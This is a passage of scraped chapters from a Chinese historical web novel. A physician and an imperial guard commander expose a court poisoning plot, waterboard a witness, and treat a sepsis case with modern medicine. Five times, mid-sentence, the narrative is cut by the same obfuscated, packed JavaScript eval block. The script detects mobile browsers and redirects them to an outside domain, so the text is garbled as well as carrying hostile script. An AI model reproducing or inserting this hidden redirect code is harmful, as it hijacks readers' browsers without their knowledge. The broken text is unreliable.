他抬起眼帘,扫过周子良惨白的脸,“常氏的旧案卷宗……张阔海私藏?”
周子良吓得缩了缩脖子,“是……是蒋大人,就在太医院库房南角小隔间,堆着的。”
“堆着?”蒋瓛的嘴角扯出一丝讥诮,“那地方我去过,积年库房,耗子窝。”
“这事我接了。”
周子良差点从圆凳上滑下来,难以置信地看着蒋瓛。
蒋瓛站起身,“不过……”
他看向马淳。“国公爷,按规矩,这等事牵涉东宫,我得先奏禀陛下。”
周子良的心猛地提到了嗓子眼!
向陛下汇报?
那不等于昭告天下他在查太子妃吗?
马淳笑了。
他笑得轻松,甚至带点调侃。
“你给陛下汇报?你让陛下怎么说?”马淳看着蒋瓛。“老爷子怎么办?”
马淳摊开手,“老爷子拍着龙案咆哮,‘蒋瓛,朕命你去查清楚,我儿媳妇怎么害死我另一个儿媳妇的?’”
“还是老人家对着太子,痛心疾首,‘标儿啊,你瞅瞅你媳妇,弄**一个不够,还想弄第二个!’”
他笑容微敛,只剩下眼底的郑重,“你查到东西,告诉我。我拿着去找我姐说事。”
蒋瓛沉默片刻。
接着突然笑了,不是冷笑,更像是无奈的笑。
“你们老马家的人,一个路数。”
马皇后是,眼前这位也是,护犊子起来,什么都敢往里卷。
“行。”蒋瓛点头,干脆利落。“东西我去拿。”
他转向周子良。
周子良一个激灵,挺直了腰杆。
“周太医。”
“下……下官在!”周子良声音都在抖。
“知道那地方的人多吗?”
“不……不多!李副院判也只说了一嘴!库房本就少人打理,南角隔间更是没……没人去!”
蒋瓛眼中精光一闪。“好。”
他点点头,“明天傍晚前,我会设法‘弄’出来。”
周子良再次叮嘱起来:“是……是那个堆杂物的小隔间,门口挂着条破毡毯!里面很多灰……”
就在蒋瓛要走的时候,马淳喊了一声:“等一下!”
“还有问题?”蒋瓛问。
“你再帮我做件事。”马淳说,“张阔海**,他管太医院库房时,能进出那隔间取放卷宗的,必然是心腹。”
“找出那个人。”蒋瓛笑笑,“明白了,查个人而已,**嘴里都能撬出东西,找人还不简单!”
他不再废话,伸手拉开门闩,吱呀,蒋瓛一步踏入朦胧的月色里。
周子良瘫软在凳上,冷汗如瀑,“他……他应了……”
带着劫后余生的颤抖。
马淳走到门口,望着蒋瓛消失的方向。
……
应天府,皇城之内。
太医院的后院库房区,一片漆黑死寂,一道鬼魅般的黑影,贴着高墙的阴影流动,无声无息。
几个守夜的杂役靠着廊柱打盹,黑影如壁虎般滑过墙根,潜入了库房所在的院落。
南角。
那扇落满灰尘、门板歪斜的隔间木门近在眼前。
门口果然搭着条破烂油毡。
黑影正是蒋瓛。
蒋瓛停在阴影里,侧耳倾听片刻,无声。
他抬手,指间寒光一闪,不是刀,是一枚比柳叶还薄的弧形小钢条。
门是插了栓的,是老朽木栓,钢条无声无息插入门缝,探向后面的插销,手腕极其稳定地一拨。
咔哒。
微不可闻。
门开了道缝隙。
浓重的尘土和阴湿腐朽的气味扑面而来。
蒋瓛身形一闪,滑了进去,门在他身后轻轻合拢。
室内几乎伸手不见五指。杂物堆积如山,破旧残缺的桌椅、报废的药碾、破损的陶罐……
蒋瓛没有点燃任何东西。
他摸出一小块布巾,浸湿随身携带的提神药油,紧紧捂住口鼻,只露出一双眼睛。
适应了黑暗后,他开始搜索。
角落里堆着一些蒙尘的木箱,其中一个半开的箱子旁,散落着几张微微卷起的泛黄宣纸,上面有些墨迹。
蒋瓛立刻蹲下身,小心地用手拂开周围的蛛网和浮尘,露出下面一个厚重的樟木箱子。
箱子没有上锁,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971189|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他轻轻掀开箱盖,一股陈旧的墨香混合樟脑味散出,箱内并非塞满,只杂乱堆放着几卷厚厚的卷宗册子!
书面是暗褐色的硬皮,一看就是专用的御用病历装帧。
蒋瓛心脏猛地一跳。
成了!
他毫不犹豫,果断伸手取出最上面也是尘土最少的一卷。
卷宗很重,展开一看,首页清晰的蝇头小楷:洪武十一年春末,常妃妊娠脉案始记……
正要细看,蒋瓛耳朵极其轻微地动了一下!
远处,隔着几重院子,隐约传来极细碎的脚步声,正朝着库房区方向移动!
有人!
值夜的杂役似乎醒了?
脚步声不止一个!
蒋瓛眼神瞬间冰寒如刀。
没有丝毫犹豫,他唰地将那厚厚一卷卷宗卷紧,塞进早已备好的一个黑布套里,捆紧扎牢。
做完这一切,时间只过去几个呼吸。
脚步声更近了,还夹杂着低低的、模糊不清的说话声!
蒋瓛迅速合上樟木箱盖,身形如狸猫般退回门边,侧身从那条缝中无声滑出。
反手轻轻一带,门缝合拢,他毫不停留,足尖在墙根一点,整个人如大鸟般凌空掠起,瞬间消失在库房高翘起来的飞檐阴影之中,身形刚落定在瓦垄上伏低。
隔间门口,摇曳的灯笼光终于移近,是两个打着哈欠、睡眼惺忪的小宫女。
前面还走着一个穿着比甲、管事嬷嬷模样的中年妇人。
宫女提着灯笼,嘴里嘟囔着:“嬷嬷,都这光景了,娘娘要的安神香真的急用吗?库房夜里阴森得很……”
那嬷嬷没好气地回头训斥:“少啰嗦!娘娘这几晚睡不安稳,你们皮紧着点!快去取上等沉香屑!记得开小库!娘娘嫌味道不对!”
蒋瓛身形融入夜色,如一道模糊的影子,悄无声息地滑入了小青村医馆的后院。
他没有走正门。
后堂内只点着一盏如豆的油灯,光线昏黄。
马淳似乎已等待多时。
徐妙云也坐在一旁,手中拿着一件小儿衣物轻轻缝着,眼神却透着忧虑。
“如何?”马淳的声音很低,目光紧盯着蒋瓛。
……
第182章果然是吕氏下的毒手!!
蒋瓛没有废话,直接从怀里掏出一个沉甸甸、裹得严严实实的黑布包裹,放在桌上。
“东西在这。”他的声音同样低沉,眼神锐利地扫视着四周紧闭的门窗,“太医院南角隔间,樟木箱子里的。差点撞上巡夜的人。”
黑布一层层解开,露出一卷深褐色硬皮、明显是宫内专用的卷宗册子。
借着微弱的光线,隐约可见上面写着“洪武十一年”的字样。
卷宗摊开的瞬间,一股陈旧的墨香和淡淡的樟脑味弥漫开来。
徐妙云立刻放下手中活计,凑过来。
马淳俯身凑近,蒋瓛则走到窗前,侧耳倾听外面的动静,确保没有任何窥探的耳朵。
“……春末,常妃诊脉,胎动明显,母体稍觉气短。拟方:党参三钱,黄芪五钱,当归四钱,熟地五钱……”马淳低声念着卷宗上工整清晰的记录,指尖一点点划过泛黄的纸页,速度很慢,目光专注如同扫描。
卷宗内容详尽得令人心惊。
常氏每一次请脉的脉象记录、御医开的方剂、所用每味药材的名称、用量、产地说明,甚至滋补品的进献来源都记录在案。
厚厚的一本,记录了从常氏怀孕后期直到生产前后的整个诊疗过程。
马淳一页页翻看,眉头越拧越紧。
“脉象……沉滑有力,胎息浑厚……记录倒是详细。”他轻声自语,目光却像探针般在药方和记录间反复对照。
药方上出现的药材名字映入眼帘:血燕盏、雪蛤膏、昆仑鲍……
这些名贵东西赫然在列,标注为“东宫吕氏亲选,为太子妃安胎养元”。
“血燕……”马淳拿起桌上吕氏送来的那一块血燕窝残片,再对比卷宗上记录的常氏所用血燕的来源标注,眼神冰冷。
“再看昆仑鲍……”他又捻起一片吕氏送来的昆仑鲍干花,凑到鼻尖闻了闻那被掩盖的腥气,目光再次落在卷宗上常氏的滋补记录里,同样记录着“昆仑鲍”。
徐妙云也凑过来看,她虽不通高深药理,但这两者极其相似的名单让她心头猛地一跳。
“夫君,这和……东宫送来的那些……”
马淳重重地点了点头,“何止是像?几乎是一脉相承!”
他指着卷宗上记录的几处关键用药记录。
“你细看这脉象记录,常氏后期,常被记录为‘脉洪大滑数’,孕者虽可能有此象,但结合她那时可能出现的肢体浮肿和心慌症状……”他抬头看向徐妙云和蒋瓛,眼神沉痛又锐利,“这已经是气血被强行催发、过于亢奋的表现!”
“还有这滋补频次和用量,”他手指记录,“后期几乎是不断药地补,血燕、雪蛤、昆仑鲍源源不断……正常的孕期进补,岂会用到如此刚猛燥烈之物?尤其是这昆仑鲍的火毒之性!”
蒋瓛倚在窗边,低声道:“你是说,常妃的死,也是被这些东西……?”
“十有**!”马淳斩钉截铁,“她的脉象变化、孕期的些许浮肿、生产时胎儿过大难产而亡……所有线索,都在指向一个方向——胎元被外力强行催发!巨大儿导致难产!这根本不是意外!”
他拿起吕氏送来的那份“**”中的雪蛤残块,又指着卷宗上常氏的记录:“手法如出一辙!这些东西被特殊的炮制手法处理过,表面看着是顶级滋补品,暗地里却埋着引动火毒、催生胎元的暗手!常人无法察觉,甚至普通太医都难以识破其中陷阱!”
徐妙云听得倒吸一口凉气,双手护住小腹,一股寒意从脊椎升起。
吕氏送给她的,竟然是当年害死常太子妃的同一套东西!
马淳眼神如冰,继续在卷宗上搜寻:“关键就在这药方和滋补记录!上面写着进献者乃‘东宫吕氏亲选’,但吕氏那时也只是次妃,她深居宫中,不通药理,哪来如此精妙的炮制手段和药理知识,懂得如何调配出这种看似滋补实则致命的组合?”
他猛地抬头,目光如炬,盯着蒋瓛:“蒋兄!记得我之前的猜测吗?”
蒋瓛立刻会意,眼神一凝:“张阔海!”
“对!”马淳一拳轻轻砸在桌面上,卷宗都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972733|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跳了一下,“吕氏不通此道!必定有精通药理之人在背后为她出谋划策,甚至亲自动手!而张阔海,身为太医院院判,掌管太医院库房,包括这些药案的存档!他最能接触到那些名贵药材,也最有能力在药中做手脚而不被发现!”
他脑海中瞬间将所有线索串联起来:“张阔海冒功贪腐是真,但恐怕更深一层的目的,是成为吕氏在东宫安插在太医院的关键爪牙!由他提供经过特殊炮制、内藏阴毒的滋补品给常氏,再由吕氏以‘亲选’之名送出,神不知鬼不觉!”
“难怪!”马淳恍然大悟,眼中寒光大盛,“常妃死后,这些关键的药案卷宗会被张阔海特意藏匿起来!堆在那个积满灰尘的库房小隔间里!他这是在毁灭罪证!掩盖他和吕氏的联系!”
他看向蒋瓛,语气急促而严肃:“蒋兄,张阔海虽是贪功被斩,但他掌管太医院偌大摊子,经手此等阴私,不可能事事亲为!必定有一个极其信任的心腹亲随,专门帮他处理这些见不得光的‘药材’准备和卷宗隐藏!此人就是活着的证据链!找到这个人!”
蒋瓛脸上露出标志性的冷笑,那是一种即将锁定猎物的表情。
“没问题。”他语气带着冷硬的自信,“**我都能让他开口,何况一个活人!当年常在库房走动、特别是能碰‘张院判私人整理’杂物的人,跑不了几个。给我一个名字的尾巴,我就能把他整个人揪出来。几天之内,必有结果。”
马淳自己都没想到,从这些支离破碎的东西里面,居然能整理出一个天大的阴谋。
说不定,凭借着自己的学识,还能为后世历史谜团找到正确的答案。
如果真的能找到张阔海那个心腹,说不定真能牵扯出足够扳倒吕氏的证据。
届时既能帮常氏报仇,自己也能除掉一个对头,一举两得。
最重要的是……
他将妻子拢在怀里,感受着徐妙云依旧在颤抖的身子,小声道:“夫人放心,我不会让想害你还有孩子的人好过!!”
……
第183章其实朱元璋啥都知道!!
夜色如墨,浸透巍峨宫墙。
蒋瓛踏入御书房。
“查清了?”朱元璋眼皮未抬。
蒋瓛垂首,声音沉入阴影:“陛下英明,太子妃送给马淳夫人的药材……掺了烈性催产毒物。”
简短一句,抽干了屋内所有暖意。
朱元璋执杯的手顿在半空,“手法?”
“马淳检验过了,与五年前……常太子妃的用药,同出一源。”蒋瓛答得极轻,字字却重若千钧。
朱元璋重重撂下茶盏!
“歹毒!”他齿缝里迸出两字,“她瘫着还不安生!”
如果马淳在这里的话,一定会非常惊讶。
马淳明明告诉蒋瓛先不要惊动皇帝,主要是不想让皇帝为难。
但马淳不知道锦衣卫对皇帝的忠诚,这种事情如果蒋瓛接下了,如果不报告给皇帝。
他蒋瓛就算有十个脑袋都不够皇帝砍的。
这就不得不感叹,皇帝的厉害。
“真当咱老糊涂了?当初她那一瘫……”他踱到窗前,背对蒋瓛,“咱就知道是马小子手笔!”
蒋瓛屏息。
“瘫得好!瘫了省心!少在标儿耳边吹歪风!”
帝王心术,此刻袒露无遗——吕氏废了腿,反而成了他掌控东宫的一步暗棋。
朱元璋倏然转身,眼底精芒如电:“证据呢?”
蒋瓛从袖中抽出誊写的药案关键,双手奉上:“张阔海心腹吴全,正是当年经手调药之人。”
“吴全?”朱元璋指尖划过那名字,冷笑蔓延至嘴角,“一个狗奴,能翻起什么浪!”
他忽地问:“马淳让你来的?他怕咱难做?”
“是。”蒋瓛垂首,“国公爷说……无铁证,恐伤东宫体面,陛下为难。”
龙案后,朱元璋笑意渐深,“他小子……倒学会替咱着想了。”
然他话锋陡转,森寒彻骨,“他错了!咱的刀,从来不怕沾血!吕氏既然找死——”
他猛地一掌拍在龙椅扶手上!
“那就剁了她的爪子!”
朱元璋喘了口粗气,眼底翻涌的血色被强行压下。
“传咱口谕。”
“蒋瓛。”
“臣在!”
“盯死那个吴全!把他骨头缝里的油渣都给咱榨出来!”
朱元璋眸中凶光毕露。
“至于吕氏……让她继续‘病’着!咱倒要看看,没了爪子,这条毒蛇还能盘出什么花来!”
他缓缓坐回龙椅深处,“你且去办,至于咱,什么也不知道。”
蒋瓛踏出乾清宫高耸的门槛,背上已被冷汗浸透一片冰凉。
他快步疾行,绕过几道森严宫墙,熟悉的角落阴影里,一个瘦小如鼠的身影无声汇入。
那人身着夜行衣,面容藏于兜帽之下,唯有一双眼睛精光四射。
“如何?”蒋瓛脚步未停,声如蚊蚋。
黑衣人声音更低,几乎被风揉碎:“禀缇帅!吴全藏在南城‘醉生楼’后街,第三间矮院。守着几个硬点子,不像寻常护院。”
“硬点子?”蒋瓛脚步略顿,“有多硬?”
“三个北地口音,指节有老茧,走路带刀风。”黑衣人语速极快,“还有两个在院内,脚步沉得像石碾子,身上有铁锈味儿……像军中的**。”
蒋瓛嘴角绷紧,勒出一道森然弧线。
北地刀客,军中硬**……
给一个太医院逃奴看家?
欲盖弥彰!
“盯死!”蒋瓛从齿缝挤出命令,“一只耗子都别放出来!等我的信。”
黑衣人无声一颔首,身影如墨汁溶于宫墙暗影,转瞬无踪。
应天府南城。
吴全蜷缩在矮屋炕角油腻的被褥里。
窗棂纸破洞灌进冷风,吹得桌上油灯豆大火苗摇曳欲灭。
他神经质地竖着耳朵,捕捉墙外每一次轻微的刮擦。
“老三!外头……有动静没?”他哑着嗓子问。
窗下黑暗中传来回应:“耗子钻阴沟!慌个**!这鸟地方,鬼都不来!”
是看守的刀客。
吴全咽了口唾沫,他怎能不慌?
自从张阔海人头落地那日起,他就成了阴沟里的老鼠。
手里攥着的秘密,沾着人命,滚烫得像烧红的炭。
他替张阔海收过吕氏的密信。
递过那些金贵得吓人、却掺了阴私的“贡品”。
甚至亲手烧掉过本该存档的常妃脉案副本……
每一条都够他死上百次!
吕氏如今自身难保,偏偏想起他这条潜伏的毒蛇。
前日的密令冰冷刺骨:除掉马淳妻儿,否则……杀全家!
吱呀——
院门突然一声微响!
吴全浑身一颤,汗**倒竖!
“谁?!”窗外刀客低喝骤起。
死寂。
只有风吹破窗纸的呜咽。
“妈的……野猫吧……”另一个守卫嘟囔。
紧绷的气氛略松。
吴全瘫软下去,冷汗已浸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972734|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
透里衣,牙齿咯咯打架。
不能再等了。
他哆嗦着摸出枕下一个小指粗细的硬竹筒。
塞子拔开,倒出一小撮赤红似血的粉末。
确保里面的东西还在,这才放心。
这是他最后的保命符,也是吕氏给的催命药。
用这东西浸泡那些“补品”,无色无味,却能令胎儿如吹气般狂长……直至撑破母体!
明日……明日便让那药,送医馆那对母子一起上路!
同归于尽也好过**!
梆子敲过四更。
就在这时,死寂的夜空中,陡然响起尖厉的破风声!
呜——
噗!
一声极其轻微的闷响最先从院墙上传来。
接着是第二声、第三声!
噗噗噗!
“不好!强**!”窗外刀客的惊呼刚起便戛然而止!
一道刺穿咽喉的声音如此清晰!
呃啊——!
敌袭!
院内瞬间炸开锅!
刀剑出鞘的摩擦声、硬物撞入肉体的沉闷声、痛苦的闷哼、身体倒地的撞击声混杂在一起!
快,太快了!
如同黑夜中突降的无声雷霆!
吴全吓得魂飞魄散,连滚带爬缩到炕角最里面,死死抱住头,浑身筛糠般颤抖!
嘭!
一声巨响!薄木门板如同纸糊般被一股巨力从外面撞得粉碎!
木屑纷飞!
数道如同鬼魅般的黑色身影如风卷进!
刀光在昏暗中一闪而逝!
“噗噗”两声轻响!
最后两个还在试图抵抗的刀客捂着脖子,嗬嗬地倒了下去,鲜血迅速在泥地上洇开。
狭窄昏暗的土屋里,浓重的血腥味瞬间弥漫开来。
“在炕上!”一个冰冷的声音响起。
两道黑影如同捕食的猎豹,猛地扑上土炕!
“啊啊啊——饶命!饶命啊!”吴全只感觉一股刺鼻的尿臊味从裤裆里散发出来,整个人已经被巨力狠狠按在冰冷的炕沿上!
粗糙冰冷的大手箍住他的手腕向后一扳,咔嚓一声脆响!
“啊——”剧痛让他发出杀猪般的惨叫!
手臂软软垂下,肩胛骨脱臼带来的痛楚让他瞬间瘫软,眼泪鼻涕糊了一脸。
“带走!”冰冷的命令下达。
一块带着馊味的破布塞住了吴全的嘴,堵住了他所有无意义的哀嚎和求饶。
麻袋套头,如同拖死狗般被拖出了充满血腥味的小院……
第184章严审!一切都交代了!恐怖的真相
诏狱,最深层的暗牢。
这里没有天光,只有壁上铁钩挑着的几盏油灯,投下摇曳不定的光晕。
空气里充斥着经年累月的血腥、铁锈、霉烂和绝望的气息,足以令意志最坚定的人发疯。
一桶冰凉刺骨的井水毫无征兆地泼在吴全脸上。
“咳……咳咳咳!”他猛地惊醒,被呛得剧烈咳嗽。
他惊恐地睁开眼,四周是渗水的青砖墙壁,身下是冰冷的石台,双手被粗大的铁链锁在头顶上方。
他的面前,站着一个高大的身影。
灯光被那人挡住,面容隐在深深的阴影里,唯有一双眼睛,在黑暗中如刀锋,冷冷地钉在他身上。
正是锦衣卫指挥使蒋瓛。
他身边还站着两个同样一身黑衣、面无表情、如同岩石般的番子。
“醒了?”蒋瓛哼了一声。
“大……大人!冤枉啊!小的就是个打杂的!啥也不知道啊!”吴全的哭腔瞬间飙了出来,浑身抖得几乎坐不住。
“张阔海的心腹,前太医院库房经承吴全。”蒋瓛根本不理会他的哭喊,“替张阔海处理见不得光的私货,专门保管那些‘贵重’药案的‘老鼠’。我说得没错吧?”
吴全的心沉入冰窟,“不……不是……小的只是……”
“吕氏给你下了死令。”蒋瓛向前逼近一步,“催命的赤蚺粉还在身上焐热乎吧?准备明日往哪送?”
这句直接点破吴全最后的幻想!
他最后的保命符和催命符,竟早被对方掌握!
巨大的恐惧瞬间压垮了他。
“我……我不知道!都是张院判……啊!大人!我只是个跑腿的!饶命!我真的什么都不知道!”吴全涕泪横流,歇斯底里地辩解。
“不知道?”蒋瓛没有丝毫起伏,“好。”
他微微侧头,对着旁边那个面色冷硬的番子道:“让他清醒清醒。”
“是!”番子应声而动。
另一名番子上前,死死按住吴全的头,粗暴地将他按倒在冰冷的石台上。
一块不知从哪弄来的、又脏又臭、满是油腻污垢的破麻布,猛地糊在了吴全的口鼻之上!
“呜!呜呜呜!”吴全的眼珠瞬间因惊恐而暴凸出来!
刺鼻的馊臭味、油垢味和灰尘味混合着强行涌入鼻腔!
他拼命挣扎,被锁住的手腕在铁链上摩擦得鲜血淋漓,身体剧烈扭动如同离水的鱼,却根本挣脱不了按在头上的两只铁钳般的手!
紧接着,冰冷刺骨的井水,被一只粗瓷大瓢,缓慢而稳定地浇在了他脸上盖着的那块湿透的破布上!
“呜——嗬嗬——!”
水流带着巨大的压迫,浸透麻布,狠狠灌入他的鼻孔、喉咙!
吴全只觉得整个肺都要炸开了!
水无孔不入,灌进气管!
他想要吸气,吸到的却是水!
剧痛!
每一次挣扎都因缺氧而带来更剧烈的抽搐和更深的恐惧!
脑子里只剩下对空气疯狂的渴求!
“咕噜……嗬嗬……”他翻着白眼,身体不受控制地剧烈痉挛,仿佛下一秒就会彻底停止呼吸。
感觉着身下人濒临极限的抽搐,番子终于移开了水瓢,微微提起了破布一角。
“咳!咳咳咳!呕——!”肺部和气管中倒灌的冷水瞬间奔涌而出,混杂着鼻涕眼泪。
吴全大口大口地喘着粗气,每一次吸气都带着刺耳的拉风箱般的嘶鸣,如同刚从地狱门口爬回来。
他那双被恐惧充满的眼睛,死死地盯着上方那张毫无表情的阎王脸,只剩下彻底崩溃的绝望。
“现在,”蒋瓛的声音依旧平静,俯视着瘫软如泥、脸上涕泪血水混合的吴全,“能说了吗?五年前常太子妃。”
这冰冷的几个字,如同最后一根压垮骆驼的稻草。
吴全残存的最后一丝抵抗意志彻底粉碎,“说……我说!我全说!求求……求求别浇水……别再……”
“是……是吕娘娘……是太子妃!”
吴全的喉咙里发出嗬嗬的声响,断断续续地交代。
“常太子妃……怀着小皇孙最后几个月……身子重了……张院判……我师傅……就频繁接到东宫的……密信……”
他恐惧地看了一眼蒋瓛那没有一丝波澜的脸。
“都是……都是让师傅……开‘最好的’滋补药方……‘务必要让常姐姐身子强健,胎稳胎壮’……吕娘娘的原话……”
“那些血燕盏、昆仑鲍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972735|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、雪山蟾酥膏……全是……全是东宫点名要的‘贡品’……”
吴全的牙齿咯咯打战,“每次……都是小的……小的去库房里挑……东宫指定的那些箱子里拿的……拿出来的药材……都……都经过特殊的手法……浸过‘温玉散’……”
“据说那东西只有行家才能分辨出淡淡甜腥气,那种散……药性极霸道……掺一点在普通补药里……就能……就能让胎儿……长得飞快。”
“常太子妃脉案……记录……还有……还有吕娘娘每次送药的单子……都是小的亲手……抄了一份……交给我师傅……”
“……后来……后来常太子妃娘娘……胎大难产……薨了……”
吴全说到这里,恐惧地打了个寒噤,“出事之后没多久……一天晚上……师傅就把我招到他内室……把当初他记下脉案的所有副本……还有……还有那些药材经手的底单……包括……包括那些密信……”
“都……都烧了。火盆烧得通红……就……就在眼前看着烧干净了……只留下一份最紧要的正本卷宗……藏到了……库房隔间那个樟木箱里。”
“师傅说……那地方……只有他知道……钥匙也……也只有他有。他交代……这事……烂在肚子里……否则……死无葬身之地……”
“饶命啊!大人!小的不敢不说实话啊!”吴全痛哭流涕,几乎要把肺都咳出来,“小的真就只知道这些了!”
蒋瓛静静地听着,待吴全语无伦次地说完,他只是轻轻掸了掸身上的灰尘。
“吕氏一个深宫妇人,”蒋瓛开口,“凭什么能让一个太医院院判如此俯首帖耳?甚至把命都搭进去给她遮掩?就凭一个太子妃的名分?保他坐稳院判之位?”
他微微俯身,目光如利剑般刺向抖成筛子的吴全,“张阔海可不是傻子。”
吴全被这目光刺得浑身一缩,恐惧到了极点反而生出一种破罐破摔的感觉。
他回忆起张阔海有一次醉酒后说过的话。
“……师傅……师傅他……”吴全哆哆嗦嗦地说道:“有次喝醉了酒……他提过,他说吕娘娘背后水很深,说是太子妃背后站着一座大山,还有还有不少人……”
……
第185章海员经常得的败血症!!
晨光熹微,小青村医馆已开了门。
马淳正仔细翻晒着后院的草药。
淡淡药香弥漫。
小六拿着扫帚,勤快地打扫着前厅。
徐妙云端着一杯温水走来。
她脸色红润,孕肚已明显。“歇会儿吧。”
马淳笑着接过水杯。
“娘子,这药晒透了才行。”他指着一簸箕白术。
徐妙云温柔点头,“你总这么仔细。”
正说着,医馆门口传来嘈杂声。
两人转头看去。
老李头背着一个昏迷的年轻人冲进来。
“马大夫!快救救我家二牛!”他把人放在诊床上。
二牛双眼紧闭,脸色灰白,浑身滚烫。
老李头声音带着哭腔。“他回来才两天,就这样了!”
马淳立刻上前查看。
二牛呼吸急促微弱,皮肤烫得惊人。
他轻轻翻开二牛眼皮,眼白布满了细小红点。
“身上还有其他症状吗?”马淳问。
老李头急忙点头,“有有!起红点子,高烧说胡话,一阵阵打哆嗦。”
小六也凑过来看。“师傅,他嘴唇都紫了。”
马淳仔细检查病人全身。
除了高热和红点,他在二牛胳膊和大腿内侧发现了几处暗紫色的瘀斑,按压不褪色。
“瘀斑?”小六低声问。
徐妙云也注意到那异常颜色。
马淳面色凝重。
他取出体温计,给二牛量了一下。
“高热不退,意识模糊。”他把体温计给小六看,“你自己看看读数。”
小六小心接过。
那是马淳带来的神奇物件,能准确测体温,他也是知道的,“快三十九度五了!”
“还有这些症状,”马淳指着瘀点瘀斑,“加上突然寒战高热,皮肤出血点……”
他转向徐妙云和小六,语气认真。“你们看,这很可能是一种严重的血行感染。”
小六听得专注。“血行感染?血里坏了?”
“差不多这个意思。”马淳解释,“叫败血症。非常凶险。”
老李头一听,腿都软了,“马大夫,能……能救吗?”
马淳一边取药,一边肯定地回答。“能救!但必须快!”
“小六,去把屋角那个小箱子推过来。”他吩咐。
小六应声跑过去。
那是马淳存放现代设备的地方。
徐妙云好奇地看着他操作。
马淳取出一小瓶药水,“这是治疗的关键药物。”
他熟练地给二牛清洗手臂一处皮肤。
然后用一个奇特的小针头抽取药液。
“静脉滴注,起效最快。”老李头和小六都屏住呼吸。
看着那透明的液体一点点输入二牛体内。
马淳接着配了一小瓶药粉,用温水化开。
那是他研磨好的现代抗生素药粉。
他小心地给小六和徐妙云展示,“这是口服的,配合针剂。”
“为什么这两种一起用?”徐妙云轻声问。
“静脉用药快,直达血液深处。”马淳耐心解释,“口服辅助,覆盖全身各处。”
他看向小六。“小六,你记住,治疗这种全身性感染,光靠一种药不够猛。”
小六用力点头。
“明白了师傅,得双管齐下。”
二牛的呼吸似乎平稳了一些。
马淳没有放松,他拿出压舌板,检查二牛的口腔,“看口腔里也有出血点。”
小六凑近看。“这么多小红点!”
马淳看向徐妙云,“娘子,你仔细看这些瘀点和瘀斑。”
徐妙云点点头。
马淳取出一块干净的玻璃片。
那玻璃异常透亮,“这是……”
“显微镜的载片。”马淳回答。
他又拿出那个银白色的、带镜筒的机器。
这是他的宝贝显微镜,平时教学常用,小六早已熟悉。
马淳戴上手套,用一根极细的针,轻轻刺破二牛手臂上一处小瘀点。
挤出一点点细微的血珠,极其小心地涂抹在玻璃载片上。
又在血珠上轻轻盖上一块更薄的玻璃片。压舌板压舌。
马淳把载片放到显微镜载物台上,调好光源和焦距。“小六,你先看。”
小六兴奋又紧张地凑近目镜。
这是他学习的好机会。
“看……看到了!”小六低呼。
“看到什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979767|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好多……好多红色的……圆圆的东西?像泡在水里……”
“那是红细胞。”马淳说。
“还有……还有很多很小很小的……动的……它们会动!像小球在跑!”
“那是白细胞,我们身体里防御敌人的卫士。”
小六抬起头,有些困惑。
“可在病人血里……它们好像……没力气动?”
“这就是问题。”马淳接过显微镜位置,示意徐妙云来看。
徐妙云对这些已经非常熟悉,但看后还是微微吃惊。
马淳指着视野。“娘子你看,这些白血球,也就是小六说的小球,数量似乎不少,但形态不对,有些肿胀。”
徐妙云点点头。“它们本该是什么样?”
